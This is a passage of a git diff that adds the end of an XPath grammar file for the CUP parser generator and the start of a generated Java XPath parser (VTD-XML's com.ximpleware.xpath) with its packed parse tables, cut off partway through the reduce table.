+RelativeLocationPath ::= Step:s + {: RESULT = s; :} + | Step:s SLASH RelativeLocationPath:rlp + {: //if (s == rlp) throw new XPathParseException("$1 = $3!!!!"); + s.setNextStep(rlp); + rlp.setPrevStep(s); + RESULT= s; + :} + | AbbreviatedRelativeLocationPath:arlp + {: RESULT = arlp; :} + ; + +Step ::= AxisSpecifier:as nodetest:nt PredicateList:pl + {: RESULT = new Step(); + RESULT.setAxisType(as.i); + if ( (as.i== AxisType.ATTRIBUTE + || as.i == AxisType.NAMESPACE) && + (nt.testType>1)){ + Yylex scanner = (Yylex)parser.getScanner(); + throw new XPathParseException(as.getAxisString()+" axis can't operate on"+ + " comment(), pi(), or text()", + scanner.getOffset()); + } + RESULT.setNodeTest(nt); + RESULT.setPredicate(pl); + + //System.out.println(" Step 3 "); + + :} + | AbbreviatedStep:abs + {: RESULT = abs; + //System.out.println(" step 4"); + :} + ; + + +nodetest ::= NAME:n + {: RESULT = new NodeTest(); + RESULT.setTestType(NodeTest.NAMETEST); + RESULT.setNodeName(n.qname); + if (n.localname!=null){ + RESULT.setNodeNameNS(n.prefix,n.localname); + if (parser.nsHash==null || parser.nsHash.get(n.prefix) ==null) + throw new XPathParseException("No URL found for prefix:"+n.prefix); + RESULT.URL = (String) parser.nsHash.get(n.prefix); + } + :} + | NTEST:n2 + {: RESULT = new NodeTest(); + if (n2.i!=3) + RESULT.setTestType(n2.i); + else { + if (n2.arg ==null) + RESULT.setTestType(n2.i); //PI0 + else { + RESULT.setTestType(4); //PI1 + RESULT.setNodeName(n2.arg); + } + } + :} + ; + +PredicateList ::= + {: RESULT = null; + :} + | Predicate:p PredicateList:pl + {: p.nextP = pl; + RESULT = p; + :} + ; + +AxisSpecifier ::= AXISNAME:an + {: RESULT = an; :} + | AbbreviatedAxisSpecifier:aas + {: RESULT = aas; :} + ; + +AbbreviatedAxisSpecifier ::= + {: RESULT = new AxisType(); RESULT.i = AxisType.CHILD; :} + | AT + {: RESULT = new AxisType(); RESULT.i = AxisType.ATTRIBUTE; :} + ; + +AbbreviatedStep ::= DOT + {: RESULT = new Step(); + parser.tempNt = new NodeTest(); + parser.tempNt.setTestType(NodeTest.NODE); + RESULT.setAxisType(AxisType.SELF); + RESULT.setNodeTest(parser.tempNt); + :} + + | DDOT + {: RESULT = new Step(); + parser.tempNt = new NodeTest(); + parser.tempNt.setTestType(NodeTest.NODE); + RESULT.setAxisType(AxisType.PARENT); + RESULT.setNodeTest(parser.tempNt); + // System.out.println("result " + RESULT.toString()); + :} + ; + +AbbreviatedAbsoluteLocationPath ::= DSLASH RelativeLocationPath:rlp + {: + RESULT = new Step(); + RESULT.setAxisType(AxisType.DESCENDANT_OR_SELF); + parser.tempNt = new NodeTest(); + parser.tempNt.setTestType(NodeTest.NODE); + RESULT.setNodeTest(parser.tempNt); + RESULT.setNextStep(rlp); + rlp.setPrevStep(RESULT); + :} + ; + +AbbreviatedRelativeLocationPath ::= Step:s DSLASH RelativeLocationPath:rlp + {: RESULT = new Step(); + RESULT.setAxisType(AxisType.DESCENDANT_OR_SELF); + parser.tempNt = new NodeTest(); + + parser.tempNt.setTestType(NodeTest.NODE); + RESULT.setNodeTest(parser.tempNt); + s.setNextStep(RESULT); + RESULT.setPrevStep(s); + RESULT.setNextStep(rlp); + rlp.setPrevStep(RESULT); + RESULT = s; + :} + ; + + +Predicate ::= LB Expr:e RB + {: RESULT = new Predicate(); + RESULT.expr= e; + if (e.isFinal() && e.isNumerical()){ + RESULT.d = e.evalNumber((VTDNav)null); + Yylex scanner = (Yylex)parser.getScanner(); + if(RESULT.d<1) + throw new XPathParseException("invalid index number for predicate", + scanner.getOffset()); + RESULT.type = Predicate.simple; + } + RESULT.requireContext = e.requireContext(); + + //e.markCacheable(); + :} + ; + + +VariableReference ::= DOLLAR NAME:n + {: + if (parser.symbolHash.get(n.qname)==null) + throw new XPathParseException("variableExpression not declared ==> $"+n.qname); + RESULT = new VariableExpr(n.qname, (Expr)parser.symbolHash.get(n.qname)); + :} + ; + +FunctionName ::= FNAME :fn + {: RESULT = fn; :} + ; diff --git a/base_plugins/net.heartsome.xml/src/com/ximpleware/xpath/parser.java b/base_plugins/net.heartsome.xml/src/com/ximpleware/xpath/parser.java new file mode 100644 index 0000000..243096e --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/com/ximpleware/xpath/parser.java @@ -0,0 +1,1516 @@ +/* + * Copyright (C) 2002-2012 XimpleWare, info@ximpleware.com + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + */ + +//---------------------------------------------------- +// The following code was generated by CUP v0.10k +// Wed Jan 04 19:29:51 PST 2012 +//---------------------------------------------------- + +package com.ximpleware.xpath; + +import java_cup.runtime.*; +import com.ximpleware.*; +import com.ximpleware.xpath.*; +import java.util.*; + +/** CUP v0.10k generated parser. + * @version Wed Jan 04 19:29:51 PST 2012 + */ +public class parser extends java_cup.runtime.lr_parser { + + /** Default constructor. */ + public parser() {super();} + + /** Constructor which sets the default scanner. */ + public parser(java_cup.runtime.Scanner s) {super(s);} + + /** Production table. */ + protected static final short _production_table[][] = + unpackFromStrings(new String[] { + "\000\102\000\002\005\003\000\002\002\004\000\002\006" + + "\003\000\002\006\005\000\002\010\003\000\002\010\005" + + "\000\002\007\003\000\002\007\005\000\002\007\005\000" + + "\002\011\003\000\002\011\005\000\002\011\005\000\002" + + "\011\005\000\002\011\005\000\002\012\003\000\002\012" + + "\005\000\002\012\005\000\002\013\003\000\002\013\005" + + "\000\002\013\005\000\002\013\005\000\002\014\003\000" + + "\002\014\004\000\002\020\003\000\002\020\005\000\002" + + "\015\003\000\002\015\003\000\002\015\005\000\002\015" + + "\005\000\002\016\003\000\002\016\004\000\002\022\003" + + "\000\002\022\005\000\002\022\003\000\002\022\003\000" + + "\002\022\003\000\002\003\006\000\002\021\002\000\002" + + "\021\003\000\002\021\005\000\002\023\003\000\002\024" + + "\003\000\002\024\003\000\002\033\003\000\002\033\004" + + "\000\002\033\003\000\002\032\003\000\002\032\005\000" + + "\002\032\003\000\002\030\005\000\002\030\003\000\002" + + "\027\003\000\002\027\003\000\002\037\002\000\002\037" + + "\004\000\002\025\003\000\002\025\003\000\002\026\002" + + "\000\002\026\003\000\002\031\003\000\002\031\003\000" + + "\002\034\004\000\002\035\005\000\002\036\005\000\002" + + "\017\004\000\002\004\003" }); + + /** Access to production table. */ + public short[][] production_table() {return _production_table;} + + /** Parse-action table. */ + protected static final short[][] _action_table = + unpackFromStrings(new String[] { + "\000\141\000\036\005\045\006\021\007\017\010\042\012" + + "\016\025\004\026\006\035\037\036\032\037\036\040\024" + + "\041\uffc8\042\uffc8\043\043\001\002\000\062\002\uffd6\004" + + "\uffd6\005\uffd6\006\021\007\017\010\042\011\uffd6\013\uffd6" + + "\015\uffd6\016\uffd6\017\uffd6\020\uffd6\021\uffd6\022\uffd6\023" + + "\uffd6\024\uffd6\027\uffd6\030\uffd6\031\uffd6\032\uffd6\033\uffd6" + + "\041\uffc8\042\uffc8\043\043\001\002\000\032\002\ufffb\011" + + "\ufffb\013\ufffb\015\ufffb\016\120\017\117\020\122\021\121" + + "\022\ufffb\023\ufffb\031\ufffb\032\ufffb\001\002\000\016\006" + + "\021\007\017\010\042\041\uffc8\042\uffc8\043\043\001\002" + + "\000\046\002\uffd4\004\uffd4\005\uffd4\011\uffd4\013\uffd4\015" + + "\uffd4\016\uffd4\017\uffd4\020\uffd4\021\uffd4\022\uffd4\023\uffd4" + + "\024\uffd4\027\uffd4\030\uffd4\031\uffd4\032\uffd4\033\uffd4\001" + + "\002\000\054\002\uffde\004\uffde\005\uffde\011\uffde\013\uffde" + + "\014\uffde\015\uffde\016\uffde\017\uffde\020\uffde\021\uffde\022" + + "\uffde\023\uffde\024\uffde\025\uffde\026\uffde\027\uffde\030\uffde" + + "\031\uffde\032\uffde\033\uffde\001\002\000\016\002\uffff\011" + + "\uffff\013\uffff\015\uffff\031\132\032\uffff\001\002\000\006" + + "\041\136\042\134\001\002\000\006\041\uffc9\042\uffc9\001" + + "\002\000\014\002\001\011\001\013\001\015\001\032\130" + + "\001\002\000\022\002\ufffd\011\ufffd\013\ufffd\015\ufffd\022" + + "\114\023\115\031\ufffd\032\ufffd\001\002\000\036\005\045" + + "\006\021\007\017\010\042\012\016\025\004\026\006\035" + + "\037\036\032\037\036\040\024\041\uffc8\042\uffc8\043\043" + + "\001\002\000\052\002\uffc5\004\uffc5\005\uffc5\011\uffc5\013" + + "\uffc5\015\uffc5\016\uffc5\017\uffc5\020\uffc5\021\uffc5\022\uffc5" + + "\023\uffc5\024\uffc5\025\uffc5\026\uffc5\027\uffc5\030\uffc5\031" + + "\uffc5\032\uffc5\033\uffc5\001\002\000\046\002\uffd7\004\uffd7" + + "\005\uffd7\011\uffd7\013\uffd7\015\uffd7\016\uffd7\017\uffd7\020" + + "\uffd7\021\uffd7\022\uffd7\023\uffd7\024\uffd7\027\uffd7\030\uffd7" + + "\031\uffd7\032\uffd7\033\uffd7\001\002\000\052\002\uffc6\004" + + "\uffc6\005\uffc6\011\uffc6\013\uffc6\015\uffc6\016\uffc6\017\uffc6" + + "\020\uffc6\021\uffc6\022\uffc6\023\uffc6\024\uffc6\025\uffc6\026" + + "\uffc6\027\uffc6\030\uffc6\031\uffc6\032\uffc6\033\uffc6\001\002" + + "\000\036\002\ufff8\004\107\005\106\011\ufff8\013\ufff8\015" + + "\ufff8\016\ufff8\017\ufff8\020\ufff8\021\ufff8\022\ufff8\023\ufff8" + + "\031\ufff8\032\ufff8\001\002\000\044\002\ufff0\004\ufff0\005" + + "\ufff0\011\ufff0\013\ufff0\015\ufff0\016\ufff0\017\ufff0\020\ufff0" + + "\021\ufff0\022\ufff0\023\ufff0\024\ufff0\027\ufff0\030\ufff0\031" + + "\ufff0\032\ufff0\001\002\000\004\012\uffc0\001\002\000\004" + + "\012\077\001\002\000\052\002\uffd3\004\uffd3\005\uffd3\011" + + "\uffd3\013\uffd3\015\uffd3\016\uffd3\017\uffd3\020\uffd3\021\uffd3" + + "\022\uffd3\023\uffd3\024\uffd3\025\074\026\073\027\uffd3\030" + + "\uffd3\031\uffd3\032\uffd3\033\uffd3\001\002\000\046\002\uffe8" + + "\004\uffe8\005\uffe8\011\uffe8\013\uffe8\015\uffe8\016\uffe8\017" + + "\uffe8\020\uffe8\021\uffe8\022\uffe8\023\uffe8\024\uffe8\027\uffe8" + + "\030\uffe8\031\uffe8\032\uffe8\033\uffe8\001\002\000\054\002" + + "\uffe4\004\uffe4\005\uffe4\011\uffe4\013\uffe4\014\uffe4\015\uffe4" + + "\016\uffe4\017\uffe4\020\uffe4\021\uffe4\022\uffe4\023\uffe4\024" + + "\uffe4\025\uffe4\026\uffe4\027\uffe4\030\uffe4\031\uffe4\032\uffe4" + + "\033\uffe4\001\002\000\046\002\uffea\004\uffea\005\uffea\011" + + "\uffea\013\uffea\015\uffea\016\uffea\017\uffea\020\uffea\021\uffea" + + "\022\uffea\023\uffea\024\uffea\027\uffea\030\uffea\031\uffea\032" + + "\uffea\033\071\001\002\000\054\002\uffdf\004\uffdf\005\uffdf" + + "\011\uffdf\013\uffdf\014\uffdf\015\uffdf\016\uffdf\017\uffdf\020" + + "\uffdf\021\uffdf\022\uffdf\023\uffdf\024\uffdf\025\uffdf\026\uffdf" + + "\027\uffdf\030\uffdf\031\uffdf\032\uffdf\033\uffdf\001\002\000" + + "\054\002\uffe2\004\uffe2\005\uffe2\011\uffe2\013\uffe2\014\uffe2" + + "\015\uffe2\016\uffe2\017\uffe2\020\uffe2\021\uffe2\022\uffe2\023" + + "\uffe2\024\uffe2\025\uffe2\026\uffe2\027\uffe2\030\uffe2\031\uffe2" + + "\032\uffe2\033\uffe2\001\002\000\054\002\uffe7\004\uffe7\005" + + "\uffe7\011\uffe7\013\uffe7\014\064\015\uffe7\016\uffe7\017\uffe7" + + "\020\uffe7\021\uffe7\022\uffe7\023\uffe7\024\uffe7\025\063\026" + + "\062\027\uffe7\030\uffe7\031\uffe7\032\uffe7\033\uffe7\001\002" + + "\000\004\002\060\001\002\000\054\002\uffe0\004\uffe0\005" + + "\uffe0\011\uffe0\013\uffe0\014\uffe0\015\uffe0\016\uffe0\017\uffe0" + + "\020\uffe0\021\uffe0\022\uffe0\023\uffe0\024\uffe0\025\uffe0\026" + + "\uffe0\027\uffe0\030\uffe0\031\uffe0\032\uffe0\033\uffe0\001\002" + + "\000\004\042\057\001\002\000\046\002\uffd1\004\uffd1\005" + + "\uffd1\011\uffd1\013\uffd1\015\uffd1\016\uffd1\017\uffd1\020\uffd1" + + "\021\uffd1\022\uffd1\023\uffd1\024\uffd1\027\uffd1\030\uffd1\031" + + "\uffd1\032\uffd1\033\uffd1\001\002\000\052\002\uffcf\004\uffcf" + + "\005\uffcf\011\uffcf\013\uffcf\015\uffcf\016\uffcf\017\uffcf\020" + + "\uffcf\021\uffcf\022\uffcf\023\uffcf\024\uffcf\025\uffcf\026\uffcf" + + "\027\uffcf\030\uffcf\031\uffcf\032\uffcf\033\uffcf\001\002\000" + + "\006\041\uffc7\042\uffc7\001\002\000\006\041\uffca\042\uffca" + + "\001\002\000\044\002\uffec\004\uffec\005\uffec\011\uffec\013" + + "\uffec\015\uffec\016\uffec\017\uffec\020\uffec\021\uffec\022\uffec" + + "\023\uffec\024\uffec\027\uffec\030\uffec\031\uffec\032\uffec\001" + + "\002\000\036\005\045\006\021\007\017\010\042\012\016" + + "\025\004\026\006\035\037\036\032\037\036\040\024\041" + + "\uffc8\042\uffc8\043\043\001\002\000\044\002\ufff3\004\ufff3" + + "\005\ufff3\011\ufff3\013\ufff3\015\ufff3\016\ufff3\017\ufff3\020" + + "\ufff3\021\ufff3\022\ufff3\023\ufff3\024\051\027\052\030\050" + + "\031\ufff3\032\ufff3\001\002\000\046\002\uffd8\004\uffd8\005" + + "\uffd8\011\uffd8\013\uffd8\015\uffd8\016\uffd8\017\uffd8\020\uffd8" + + "\021\uffd8\022\uffd8\023\uffd8\024\uffd8\027\uffd8\030\uffd8\031" + + "\uffd8\032\uffd8\033\uffd8\001\002\000\036\005\045\006\021" + + "\007\017\010\042\012\016\025\004\026\006\035\037\036" + + "\032\037\036\040\024\041\uffc8\042\uffc8\043\043\001\002" + + "\000\036\005\045\006\021\007\017\010\042\012\016\025" + + "\004\026\006\035\037\036\032\037\036\040\024\041\uffc8" + + "\042\uffc8\043\043\001\002\000\036\005\045\006\021\007" + + "\017\010\042\012\016\025\004\026\006\035\037\036\032" + + "\037\036\040\024\041\uffc8\042\uffc8\043\043\001\002\000" + + "\044\002\uffee\004\uffee\005\uffee\011\uffee\013\uffee\015\uffee" + + "\016\uffee\017\uffee\020\uffee\021\uffee\022\uffee\023\uffee\024" + + "\uffee\027\uffee\030\uffee\031\uffee\032\uffee\001\002\000\044" + + "\002\uffef\004\uffef\005\uffef\011\uffef\013\uffef\015\uffef\016" + + "\uffef\017\uffef\020\uffef\021\uffef\022\uffef\023\uffef\024\uffef" + + "\027\uffef\030\uffef\031\uffef\032\uffef\001\002\000\044\002" + + "\uffed\004\uffed\005\uffed\011\uffed\013\uffed\015\uffed\016\uffed" + + "\017\uffed\020\uffed\021\uffed\022\uffed\023\uffed\024\uffed\027" + + "\uffed\030\uffed\031\uffed\032\uffed\001\002\000\044\002\uffeb" + + "\004\uffeb\005\uffeb\011\uffeb\013\uffeb\015\uffeb\016\uffeb\017" + + "\uffeb\020\uffeb\021\uffeb\022\uffeb\023\uffeb\024\uffeb\027\uffeb" + + "\030\uffeb\031\uffeb\032\uffeb\001\002\000\054\002\uffc1\004" + + "\uffc1\005\uffc1\011\uffc1\013\uffc1\014\uffc1\015\uffc1\016\uffc1" + + "\017\uffc1\020\uffc1\021\uffc1\022\uffc1\023\uffc1\024\uffc1\025" + + "\uffc1\026\uffc1\027\uffc1\030\uffc1\031\uffc1\032\uffc1\033\uffc1" + + "\001\002\000\004\002\000\001\002\000\054\002\uffe3\004" + + "\uffe3\005\uffe3\011\uffe3\013\uffe3\014\uffe3\015\uffe3\016\uffe3" + + "\017\uffe3\020\uffe3\021\uffe3\022\uffe3\023\uffe3\024\uffe3\025" + + "\uffe3\026\uffe3\027\uffe3\030\uffe3\031\uffe3\032\uffe3\033\uffe3" + + "\001\002\000\016\006\021\007\017\010\042\041\uffc8\042" + + "\uffc8\043\043\001\002\000\016\006\021\007\017\010\042" + + "\041\uffc8\042\uffc8\043\043\001\002\000\036\005\045\006" + + "\021\007\017\010\042\012\016\025\004\026\006\035\037" + + "\036\032\037\036\040\024\041\uffc8\042\uffc8\043\043\001" + + "\002\000\004\015\066\001\002\000\054\002\uffc2\004\uffc2" + + "\005\uffc2\011\uffc2\013\uffc2\014\uffc2\015\uffc2\016\uffc2\017" + + "\uffc2\020\uffc2\021\uffc2\022\uffc2\023\uffc2\024\uffc2\025\uffc2" + + "\026\uffc2\027\uffc2\030\uffc2\031\uffc2\032\uffc2\033\uffc2\001" + + "\002\000\046\002\uffe6\004\uffe6\005\uffe6\011\uffe6\013\uffe6" + + "\015\uffe6\016\uffe6\017\uffe6\020\uffe6\021\uffe6\022\uffe6\023" + + "\uffe6\024\uffe6\027\uffe6\030\uffe6\031\uffe6\032\uffe6\033\uffe6" + + "\001\002\000\046\002\uffe5\004\uffe5\005\uffe5\011\uffe5\013" + + "\uffe5\015\uffe5\016\uffe5\017\uffe5\020\uffe5\021\uffe5\022\uffe5" + + "\023\uffe5\024\uffe5\027\uffe5\030\uffe5\031\uffe5\032\uffe5\033" + + "\uffe5\001\002\000\034\006\021\007\017\010\042\012\016" + + "\025\004\026\006\035\037\036\032\037\036\040\024\041" + + "\uffc8\042\uffc8\043\043\001\002\000\044\002\uffe9\004\uffe9" + + "\005\uffe9\011\uffe9\013\uffe9\015\uffe9\016\uffe9\017\uffe9\020" + + "\uffe9\021\uffe9\022\uffe9\023\uffe9\024\uffe9\027\uffe9\030\uffe9" + + "\031\uffe9\032\uffe9\001\002\000\016\006\021\007\017\010" + + "\042\041\uffc8\042\uffc8\043\043\001\002\000\016\006\021" + + "\007\017\010\042\041\uffc8\042\uffc8\043\043\001\002\000" + + "\046\002\uffd2\004\uffd2\005\uffd2\011\uffd2\013\uffd2\015\uffd2" + + "\016\uffd2\017\uffd2\020\uffd2\021\uffd2\022\uffd2\023\uffd2\024" + + "\uffd2\027\uffd2\030\uffd2\031\uffd2\032\uffd2\033\uffd2\001\002" + + "\000\046\002\uffc3\004\uffc3\005\uffc3\011\uffc3\013\uffc3\015" + + "\uffc3\016\uffc3\017\uffc3\020\uffc3\021\uffc3\022\uffc3\023\uffc3" + + "\024\uffc3\027\uffc3\030\uffc3\031\uffc3\032\uffc3\033\uffc3\001" + + "\002\000\040\005\045\006\021\007\017\010\042\012\016" + + "\013\uffdc\025\004\026\006\035\037\036\032\037\036\040" + + "\024\041\uffc8\042\uffc8\043\043\001\002\000\004\013\105" + + "\001\002\000\006\011\103\013\uffdb\001\002\000\006\011" + + "\uffd9\013\uffd9\001\002\000\040\005\045\006\021\007\017" + + "\010\042\012\016\013\uffdc\025\004\026\006\035\037\036" + + "\032\037\036\040\024\041\uffc8\042\uffc8\043\043\001\002" + + "\000\004\013\uffda\001\002\000\054\002\uffdd\004\uffdd\005" + + "\uffdd\011\uffdd\013\uffdd\014\uffdd\015\uffdd\016\uffdd\017\uffdd" + + "\020\uffdd\021\uffdd\022\uffdd\023\uffdd\024\uffdd\025\uffdd\026" + + "\uffdd\027\uffdd\030\uffdd\031\uffdd\032\uffdd\033\uffdd\001\002" + + "\000\036\005\045\006\021\007\017\010\042\012\016\025" + + "\004\026\006\035\037\036\032\037\036\040\024\041\uffc8" + + "\042\uffc8\043\043\001\002\000\036\005\045\006\021\007" + + "\017\010\042\012\016\025\004\026\006\035\037\036\032" + + "\037\036\040\024\041\uffc8\042\uffc8\043\043\001\002\000" + + "\044\002\ufff2\004\ufff2\005\ufff2\011\ufff2\013\ufff2\015\ufff2" + + "\016\ufff2\017\ufff2\020\ufff2\021\ufff2\022\ufff2\023\ufff2\024" + + "\051\027\052\030\050\031\ufff2\032\ufff2\001\002\000\044" + + "\002\ufff1\004\ufff1\005\ufff1\011\ufff1\013\ufff1\015\ufff1\016" + + "\ufff1\017\ufff1\020\ufff1\021\ufff1\022\ufff1\023\ufff1\024\051" + + "\027\052\030\050\031\ufff1\032\ufff1\001\002\000\004\013" + + "\113\001\002\000\054\002\uffe1\004\uffe1\005\uffe1\011\uffe1" + + "\013\uffe1\014\uffe1\015\uffe1\016\uffe1\017\uffe1\020\uffe1\021" + + "\uffe1\022\uffe1\023\uffe1\024\uffe1\025\uffe1\026\uffe1\027\uffe1" + + "\030\uffe1\031\uffe1\032\uffe1\033\uffe1\001\002\000\036\005" + + "\045\006\021\007\017\010\042\012\016\025\004\026\006" + + "\035\037\036\032\037\036\040\024\041\uffc8\042\uffc8\043" + + "\043\001\002\000\036\005\045\006\021\007\017\010\042" + + "\012\016\025\004\026\006\035\037\036\032\037\036\040" + + "\024\041\uffc8\042\uffc8\043\043\001\002\000\032\002\ufff9" + + "\011\ufff9\013\ufff9\015\ufff9\016\120\017\117\020\122\021" + + "\121\022\ufff9\023\ufff9\031\ufff9\032\ufff9\001\002\000\036" + + "\005\045\006\021\007\017\010\042\012\016\025\004\026" + + "\006\035\037\036\032\037\036\040\024\041\uffc8\042\uffc8" + + "\043\043\001\002\000\036\005\045\006\021\007\017\010" + + "\042\012\016\025\004\026\006\035\037\036\032\037\036" + + "\040\024\041\uffc8\042\uffc8\043\043\001\002\000\036\005" + + "\045\006\021\007\017\010\042\012\016\025\004\026\006" + + "\035\037\036\032\037\036\040\024\041\uffc8\042\uffc8\043" + + "\043\001\002\000\036\005\045\006\021\007\017\010\042" + + "\012\016\025\004\026\006\035\037\036\032\037\036\040" + + "\024\041\uffc8\042\uffc8\043\043\001\002\000\036\002\ufff4" + + "\004\107\005\106\011\ufff4\013\ufff4\015\ufff4\016\ufff4\017" + + "\ufff4\020\ufff4\021\ufff4\022\ufff4\023\ufff4\031\ufff4\032\ufff4" + + "\001\002\000\036\002\ufff5\004\107\005\106\011\ufff5\013" + + "\ufff5\015\ufff5\016\ufff5\017\ufff5\020\ufff5\021\ufff5\022\ufff5" + + "\023\ufff5\031\ufff5\032\ufff5\001\002\000\036\002\ufff6\004" + + "\107\005\106\011\ufff6\013\ufff6\015\ufff6\016\ufff6\017\ufff6" + + "\020\ufff6\021\ufff6\022\ufff6\023\ufff6\031\ufff6\032\ufff6\001" + + "\002\000\036\002\ufff7\004\107\005\106\011\ufff7\013\ufff7" + + "\015\ufff7\016\ufff7\017\ufff7\020\ufff7\021\ufff7\022\ufff7\023" + + "\ufff7\031\ufff7\032\ufff7\001\002\000\032\002\ufffa\011\ufffa" + + "\013\ufffa\015\ufffa\016\120\017\117\020\122\021\121\022" + + "\ufffa\023\ufffa\031\ufffa\032\ufffa\001\002\000\036\005\045" + + "\006\021\007\017\010\042\012\016\025\004\026\006\035" + + "\037\036\032\037\036\040\024\041\uffc8\042\uffc8\043\043" + + "\001\002\000\016\002\ufffe\011\ufffe\013\ufffe\015\ufffe\031" + + "\132\032\ufffe\001\002\000\036\005\045\006\021\007\017" + + "\010\042\012\016\025\004\026\006\035\037\036\032\037" + + "\036\040\024\041\uffc8\042\uffc8\043\043\001\002\000\022" + + "\002\ufffc\011\ufffc\013\ufffc\015\ufffc\022\114\023\115\031" + + "\ufffc\032\ufffc\001\002\000\054\002\uffce\004\uffce\005\uffce" + + "\011\uffce\013\uffce\014\uffce\015\uffce\016\uffce\017\uffce\020" + + "\uffce\021\uffce\022\uffce\023\uffce\024\uffce\025\uffce\026\uffce" + + "\027\uffce\030\uffce\031\uffce\032\uffce\033\uffce\001\002\000" + + "\054\002\uffcc\004\uffcc\005\uffcc\011\uffcc\013\uffcc\014\064" + + "\015\uffcc\016\uffcc\017\uffcc\020\uffcc\021\uffcc\022\uffcc\023" + + "\uffcc\024\uffcc\025\uffcc\026\uffcc\027\uffcc\030\uffcc\031\uffcc" + + "\032\uffcc\033\uffcc\001\002\000\054\002\uffcd\004\uffcd\005" + + "\uffcd\011\uffcd\013\uffcd\014\uffcd\015\uffcd\016\uffcd\017\uffcd" + + "\020\uffcd\021\uffcd\022\uffcd\023\uffcd\024\uffcd\025\uffcd\026" + + "\uffcd\027\uffcd\030\uffcd\031\uffcd\032\uffcd\033\uffcd\001\002" + + "\000\054\002\uffcc\004\uffcc\005\uffcc\011\uffcc\013\uffcc\014" + + "\064\015\uffcc\016\uffcc\017\uffcc\020\uffcc\021\uffcc\022\uffcc" + + "\023\uffcc\024\uffcc\025\uffcc\026\uffcc\027\uffcc\030\uffcc\031" + + "\uffcc\032\uffcc\033\uffcc\001\002\000\052\002\uffd0\004\uffd0" + + "\005\uffd0\011\uffd0\013\uffd0\015\uffd0\016\uffd0\017\uffd0\020" + + "\uffd0\021\uffd0\022\uffd0\023\uffd0\024\uffd0\025\uffd0\026\uffd0" + + "\027\uffd0\030\uffd0\031\uffd0\032\uffd0\033\uffd0\001\002\000" + + "\052\002\uffcb\004\uffcb\005\uffcb\011\uffcb\013\uffcb\015\uffcb" + + "\016\uffcb\017\uffcb\020\uffcb\021\uffcb\022\uffcb\023\uffcb\024" + + "\uffcb\025\uffcb\026\uffcb\027\uffcb\030\uffcb\031\uffcb\032\uffcb" + + "\033\uffcb\001\002\000\046\002\uffc4\004\uffc4\005\uffc4\011" + + "\uffc4\013\uffc4\015\uffc4\016\uffc4\017\uffc4\020\uffc4\021\uffc4" + + "\022\uffc4\023\uffc4\024\uffc4\027\uffc4\030\uffc4\031\uffc4\032" + + "\uffc4\033\uffc4\001\002\000\046\002\uffd5\004\uffd5\005\uffd5" + + "\011\uffd5\013\uffd5\015\uffd5\016\uffd5\017\uffd5\020\uffd5\021" + + "\uffd5\022\uffd5\023\uffd5\024\uffd5\027\uffd5\030\uffd5\031\uffd5" + + "\032\uffd5\033\uffd5\001\002" }); + + /** Access to parse-action table. */ + public short[][] action_table() {return _action_table;} + + /** reduce_goto table. */ + protected static final short[][] _reduce_table = + unpackFromStrings(new String[] { + "\000\141\000\062\003\007\004\024\005\034\006\013\007" + + "\014\010\010\011\004\012\021\013\045\014\022\015\030" + + "\016\033\017\032\020\043\022\027\024\026\025\011\026" + + "\012\030\025\031\040\032\046\033\017\034\006\035\037" + + "\001\001\000\016\025\011\026\012\030\025\031\040\032" + + "\142\035\037\001\001\000\002\001\001\000\016\025\011" + + "\026\012\030\025\031\040\032\141\035\037\001\001\000" + + "\002\001\001\000\002\001\001\000\002\001\001\000\004" + + "\027\134\001\001\000\002\001\001\000\002\001\001\000" + + "\002\001\001\000\062\003\007\004\024\005\111\006\013" + + "\007\014\010\010\011\004\012\021\013\045\014\022\015" + + "\030\016\033\017\032\020\043\022\027\024\026\025\011" + + "\026\012\030\025\031\040\032\046\033\017\034\006\035" + + "\037\001\001\000\002\001\001\000\002\001\001\000\002" + + "\001\001\000\002\001\001\000\002\001\001\000\002\001" + + "\001\000\002\001\001\000\002\001\001\000\002\001\001" + + "\000\002\001\001\000\002\001\001\000\002\001\001\000" + + "\002\001\001\000\004\036\060\001\001\000\002\001\001" + + "\000\002\001\001\000\002\001\001\000\002\001\001\000" + + "\002\001\001\000\002\001\001\000\002\001\001\000\002" + + "\001\001\000\044\003\007\004\024\014\055\015\030\016" + + "\033\017\032\020\043\022\027\024\026\025\011\026\012" + + "\030\025\031\040\032\046\033\017\034\006\035\037\001" + + "\001\000\002\001\001\000\002\001\001\000\044\003\007" + + "\004\024\014\054\015\030\016\033\017\032\020\043\022" + + "\027\024\026\025\011\026\012\030\025\031\040\032\046" + + "\033\017\034\006\035\037\001\001\000\044\003\007\004" + + "\024\014\053\015\030\016\033\017\032\020\043\022\027" + + "\024\026\025\011\026\012\030\025\031\040\032\046\033" + + "\017\034\006\035\037\001\001\000\044\003\007\004\024" + + "\014\052\015\030\016\033\017\032\020\043\022\027\024" + + "\026\025\011\026\012\030\025\031\040\032\046\033\017" + + "\034\006\035\037\001\001\000\002\001\001\000\002\001" + + "\001\000\002\001\001\000\002\001\001\000\002\001\001" + + "\000\002\001\001\000\002\001\001\000\016\025\011\026" + + "\012\030\025\031\040\032\067\035\037\001\001\000\016" + + "\025\011\026\012\030\025\031\040\032\066\035\037\001" + + "\001\000\062\003\007\004\024\005\064\006\013\007\014" + + "\010\010\011\004\012\021\013\045\014\022\015\030\016" + + "\033\017\032\020\043\022\027\024\026\025\011\026\012" + + "\030\025\031\040\032\046\033\017\034\006\035\037\001" + + "\001\000\002\001\001\000\002\001\001\000\002\001\001" + + "\000\002\001\001\000\042\003\007\004\024\015\030\016" + + "\033\017\032\020\071\022\027\024\026\025\011\026\012" + + "\030\025\031\040\032\046\033\017\034\006\035\037\001" + + "\001\000\002\001\001\000\016\025\011\026\012\030\025" + + "\031\040\032\075\035\037\001\001\000\016\025\011\026" + + "\012\030\025\031\040\032\074\035\037\001\001\000\002" + + "\001\001\000\002\001\001\000\066\003\007\004\024\005" + + "\101\006\013\007\014\010\010\011\004\012\021\013\045" + + "\014\022\015\030\016\033\017\032\020\043\021\077\022" + + "\027\023\100\024\026\025\011\026\012\030\025\031\040" + + "\032\046\033\017\034\006\035\037\001\001\000\002\001" + + 